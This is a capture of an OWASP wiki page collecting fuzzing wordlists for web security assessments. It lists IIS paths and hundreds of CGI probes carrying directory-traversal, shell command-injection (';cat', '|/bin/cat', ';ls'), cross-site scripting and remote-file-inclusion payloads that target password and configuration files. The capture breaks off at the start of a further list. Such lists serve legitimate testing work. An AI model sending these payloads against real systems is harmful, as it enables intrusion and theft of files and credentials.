https://wiki.owasp.org/api.php?action=feedcontributions&feedformat=atom&user=Adam.muntner 2026-04-30T17:53:35Z User contributions MediaWiki 1.27.2 https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81248 2010-04-12T17:55:24Z

<p>Adam.muntner: /* Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (8 April 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (8 April 2010)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> /.printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /index.shtml<br /> /x.htw<br /> /x.ida<br /> /x.idq<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal 